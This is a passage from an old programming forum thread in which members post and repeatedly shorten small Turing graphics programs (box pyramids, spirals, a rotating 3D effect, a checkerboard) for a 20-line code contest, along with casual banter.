        x1 -= 1
        y1 -= 1
        col += 2
        if col >= 255 then
            col := 1
        end if
        drawbox (x, y, x1, y1, col) %<-- Try putting star or oval here
        x += 1
        y += 1
        x1 -= 1
        y1 -= 1
        col1 :=33
        if col1 <= 1 or col1 >= 255 then
            col1 := 255
        end if
        drawbox (x, y, x1, y1, col1) %<-- Try putting star or oval here
    end for
end loop

Author:  Delos [ Mon Jun 28, 2004 11:12 am ]
Post subject: 

The 2nd one is over 20 lines!
(The first one is too...but if one disregards the unnecassary comments in the beginning...)
Thinking

Author:  TheFerret [ Sat Jul 03, 2004 12:45 am ]
Post subject: 

I know the second one is longer but it looks pretty good and I thought comments don't count...

Author:  Andy [ Sun Jul 04, 2004 3:38 am ]
Post subject: 

i think bugz/catalyst should win

Author:  Tony [ Sun Jul 04, 2004 11:45 pm ]
Post subject: 

learn to read dodge (love martin)

bugzpodder wrote:
I did not make this

Author:  Andy [ Mon Jul 05, 2004 12:38 am ]
Post subject: 

i read that.. if we can rip movies/apps off bit torrent legally in canada... i think a lil plagerization isnt bending the rules a bit

Author:  Dan [ Mon Jul 05, 2004 12:51 am ]
Post subject: 

hey what about mine? the abity to restart any CS server in 20 lines! it is at least intresting. and the abity to take over landschool in 20 lines is not bad ether Wink.

Any how if i had to pick a winner out of the more leagl entrys i whould pick tonys and Catalyst for showing how they can own grade 10 FP in 20 lines.

Author:  Andy [ Mon Jul 05, 2004 1:00 am ]
Post subject: 

well... it did kinda say turing

Author:  Dan [ Mon Jul 05, 2004 1:02 am ]
Post subject: 

pfff minor deatals.....

Author:  Andy [ Mon Jul 05, 2004 1:03 am ]
Post subject: 

heh... y dont u make a thousand line long header file and just include it in c++

Author:  Dan [ Mon Jul 05, 2004 1:11 am ]
Post subject: 

b/c now that whould be cheating. not my falut java is better for networking.

Author:  rizzix [ Fri Jul 09, 2004 3:27 pm ]
Post subject: 

not only that dan. of course thats true.. but u need to take into consideration statements instead of lines. cuz its possible to write an entire java application in one line.. but it could have 10000+++ statements.. of course i'm sure ur app is pretty low on statements heh.

Author:  rizzix [ Fri Jul 09, 2004 3:28 pm ]
Post subject: 

another thing that makes java so ideal for wirting small programs.. is its chain method calls and anonyous inner classes heh. (an anonymous inner class can be considered one statement.

Author:  beard0 [ Sat Jul 10, 2004 11:40 am ]
Post subject: 

Well, this brings the TURING Contest to a close. A poll should be appearing shortly.

Author:  beard0 [ Wed Jul 28, 2004 9:44 pm ]
Post subject: 

Come on guys, vote for the winner!
At least everyone who has made a post here should be voting!

Author:  Homer_simpson [ Wed Nov 03, 2004 12:04 am ]
Post subject: 

no comment...

View.Set ("offscreenonly")
colorback (black)
var x, y, z, rs : array 1 .. 100 of real
proc rotate (OriginX, OriginY : real, var secondpartX, secondpartY : real, Rotaion : real)
secondpartY := OriginY - (((OriginY - secondpartY) * cosd (Rotaion)) - ((OriginX - secondpartX) * sind (Rotaion)))
secondpartX := OriginX - (((OriginX - secondpartX) * cosd (Rotaion)) + ((OriginY - secondpartY) * sind (Rotaion)))
end rotate
for i : 1 .. 100
x (i) := Rand.Int (-100, 100)
y (i) := Rand.Int (-100, 100)
z (i) := Rand.Int (101, 301)
end for
loop
for i : 2 .. 100
drawline (round (x (i - 1) / (z (i - 1) / 100)) + 320, round (y (i - 1) / (z (i - 1) / 100)) + 200, round (x (i) / (z (i) / 100)) + 320, round (y (i) / (z (i) / 100)) + 200, white)
rotate (0, 200.5, x (i), z (i), 1)
end for
View.Update
cls
end loop

Author:  josh [ Wed Nov 03, 2004 9:40 am ]
Post subject: 

wow, that is sick homer!!!!!!!!!!!!!!

Author:  Hikaru79 [ Thu Nov 11, 2004 11:09 pm ]
Post subject: 

Shocked Shocked Shocked Shocked

Holy crap! beard0, add homer to the poll, I am so voting for him! Very Happy

Man, is homer the undisputed master of 3d around here? =)

Author:  apomb [ Fri Nov 12, 2004 1:23 am ]
Post subject: 

hey i didnt see this before, i could have put my parametric program here...

well i modded it, alot shorter, catalyst: do your damndest to make it better... im serious, please

code:
setscreen ("graphics:200;200,nobuttonbar,offscreenonly,title:please wait")
var a1, a := 800
var spacing1 := 1800
var spacing := 1
loop
    colorback (7)
    cls
    for i : 1 .. 1800 by spacing
        drawline (maxx div 2 + round (a1 / sqrt (i) * cosd (i)), maxy div 2 + round (a1 / sqrt (i) * sind (i)), maxx div 2 + round (a1 / sqrt (i + spacing) * cosd (i + spacing)), maxy div 2 + round (a1 / sqrt (i + spacing) * sind (i + spacing)), 0)
        drawline (maxx div 2 - round (a1 / sqrt (i) * cosd (i)), maxy div 2 - round (a1 / sqrt (i) * sind (i)), maxx div 2 - round (a1 / sqrt (i + spacing) * cosd (i + spacing)), maxy div 2 - round (a1 / sqrt (i + spacing) * sind (i + spacing)), 0)
        drawline (maxx div 2 + round (a1 / sqrt (i) * sind (i)), maxy div 2 - round (a1 / sqrt (i) * cosd (i)), maxx div 2 + round (a1 / sqrt (i + spacing) * sind (i + spacing)), maxy div 2 - round (a1 / sqrt (i + spacing) * cosd (i + spacing)), 0)
        drawline (maxx div 2 - round (a1 / sqrt (i) * sind (i)), maxy div 2 + round (a1 / sqrt (i) * cosd (i)), maxx div 2 - round (a1 / sqrt (i + spacing) * sind (i + spacing)), maxy div 2 + round (a1 / sqrt (i + spacing) * cosd (i + spacing)), 0)
        delay (2)
    end for
    exit when (spacing = 901)
    spacing += 2
    Text.Locate (1, 1)
    View.Update
end loop


ha! only 19 lines Smile

Author:  Cervantes [ Sun Nov 21, 2004 7:46 am ]
Post subject: 

ha! your program in 13 lines Razz

EDIT: woops, forgot the code Laughing
code:
setscreen ("graphics:200;200,nobuttonbar,offscreenonly,title:please wait")
for spacing : 1 .. 901 by 2
    colorback (7)
    cls
    for i : 1 .. 1800 by spacing
        drawline (maxx div 2 + round (800 / sqrt (i) * cosd (i)), maxy div 2 + round (800 / sqrt (i) * sind (i)), maxx div 2 + round (800 / sqrt (i + spacing) * cosd (i + spacing)), maxy div 2 +
            round (800 / sqrt (i + spacing) * sind (i + spacing)), 0)
        drawline (maxx div 2 - round (800 / sqrt (i) * cosd (i)), maxy div 2 - round (800 / sqrt (i) * sind (i)), maxx div 2 - round (800 / sqrt (i + spacing) * cosd (i + spacing)), maxy div 2 -
            round (800 / sqrt (i + spacing) * sind (i + spacing)), 0)
        drawline (maxx div 2 + round (800 / sqrt (i) * sind (i)), maxy div 2 - round (800 / sqrt (i) * cosd (i)), maxx div 2 + round (800 / sqrt (i + spacing) * sind (i + spacing)), maxy div 2 -
            round (800 / sqrt (i + spacing) * cosd (i + spacing)), 0)
        drawline (maxx div 2 - round (800 / sqrt (i) * sind (i)), maxy div 2 + round (800 / sqrt (i) * cosd (i)), maxx div 2 - round (800 / sqrt (i + spacing) * sind (i + spacing)), maxy div 2 +
            round (800 / sqrt (i + spacing) * cosd (i + spacing)), 0)
        delay (2)
    end for
    View.Update
end for

Author:  apomb [ Mon Nov 22, 2004 12:47 pm ]
Post subject: 

WOW! i knew it could be don simpler ... now make it go the other way too ... in less than 20 lines!

Thats some nifty coding there Cervantes ... just some for loops Embarassed how foolish of me to not realise their power!

Author:  MyPistolsIn3D [ Tue Nov 23, 2004 6:53 pm ]
Post subject: 

wow, lotsa sweet programs. I like catalyst's one with the waves going out the best.

Author:  Tony [ Sun Nov 28, 2004 11:56 pm ]
Post subject: 

Cervantes's gravity has been slip off to here

Author:  TheZsterBunny [ Fri Feb 04, 2005 6:21 am ]
Post subject: 

Ferret, you're cured. I've narrowed your code down to 19 lines

code:

% Pyramid by Travis Barker - ZB Edit
setscreen ("graphics:400;400")
var p, r, col : int := 0
r := 400
col := 1
loop
    for i : 1 .. 400
        delay (1)
        p += 1
        r -= 1
        col += 2
        if col >= 255 then
            col := 1
        end if
        drawbox (p, p, r, r, col) %<-- Try putting star or oval here
        p += 1
        r -= 1
        drawbox (p, p, r, r, 33) %<-- Try putting star or oval here
    end for
end loop

Author:  Martin [ Fri Feb 04, 2005 1:29 pm ]
Post subject: 

code:

% Pyramid by Travis Barker - ZB Edit
setscreen ("graphics:400;400")
var p, r : int := 0
r := 400
loop
    for i : 1 .. 400
        delay (1)
        drawbox (p+1, p+1, r-1, r-1, (2*i + 1) mod 255) %<-- Try putting star or oval here
        drawbox (p, p, r, r, 33) %<-- Try putting star or oval here
    end for
end loop


Even shorter. 11 lines

Author:  TheZsterBunny [ Fri Feb 04, 2005 11:33 pm ]
Post subject: 

/me bows in respect.


um...

code:

setscreen ("graphics:400;400") % Pyramid by Travis Barker - ZB Edit -MK Edit
var p, r : int := 0
r := 400
loop
    for i : 1 .. 400
        delay (1)
        drawbox (p+1, p+1, r-1, r-1, (2*i + 1) mod 255) %<-- Try putting star or oval here
        drawbox (p, p, r, r, 33) %<-- Try putting star or oval here
    end for
end loop

10 lines.

-Z

Author:  apomb [ Sat Feb 05, 2005 6:26 pm ]
Post subject: 

Thinking seems that you both posted before you tried your code ... that code does not work. it only draws a blue outline Wink

Author:  josh [ Sat Feb 05, 2005 11:24 pm ]
Post subject: 

I was wondering about that also.....

Author:  TheZsterBunny [ Sun Feb 06, 2005 4:16 pm ]
Post subject: 

lol. i never tried it. correct.

Anyways;

code:

setscreen ("graphics:400;400") % Pyramid by Travis Barker - ZB Edit
for i : 1 .. 400 by 2
    delay (1)
    drawbox (i, i, 400 - i, 400 - i, (i - 1) mod 256)     %<-- Try putting star or oval here
    drawbox (i + 1, i + 1, 400 - (i + 1), 400 - (i + 1), 33)     %<-- Try putting star or oval here
end for

6 lines, same effect, same numbers.

Beat that martin.

-Z

Author:  Tony [ Fri Feb 11, 2005 10:41 pm ]
Post subject: 

John offered an interesting challange of drawing a checkerboard..
Turing:

View.Set ("graphics:500;500")
for i : 0 .. 109
    Draw.FillBox (i * 50 mod 550, floor (i / 11) * 50, i * 50 mod 550 + 50, floor (i / 11) * 50 + 50, i mod 2 * black)
end for

Posting this up here just for future references

Author:  zylum [ Sat Feb 12, 2005 1:35 pm ]
Post subject: 

you could always do it with a single line using fillpolygon Laughing but then again you wouldnt be able to control dimensions easily

Author:  apomb [ Wed Feb 16, 2005 11:30 pm ]
Post subject: 

just change the "Box" to "Mapleeaf" and "black" to "12" and you got yourself a nice patriotic bandana ... same effect if use "star" and "colorback (blue) \n cls" for our american friends Wink and by friends, i meant jackasses

Author:  TheZsterBunny [ Fri Feb 18, 2005 7:40 am ]
Post subject: 

3D first person shooter in 1 line.


code:

put Sys.Exec ("G:/Program Files/Microsoft Games/Halo/Halo.exe")


^_^

may not work for everyone

-Z

Author:  apomb [ Sat Feb 19, 2005 10:26 pm ]
Post subject: 

^ good one, doesnt work for me tho, odd Thinking


: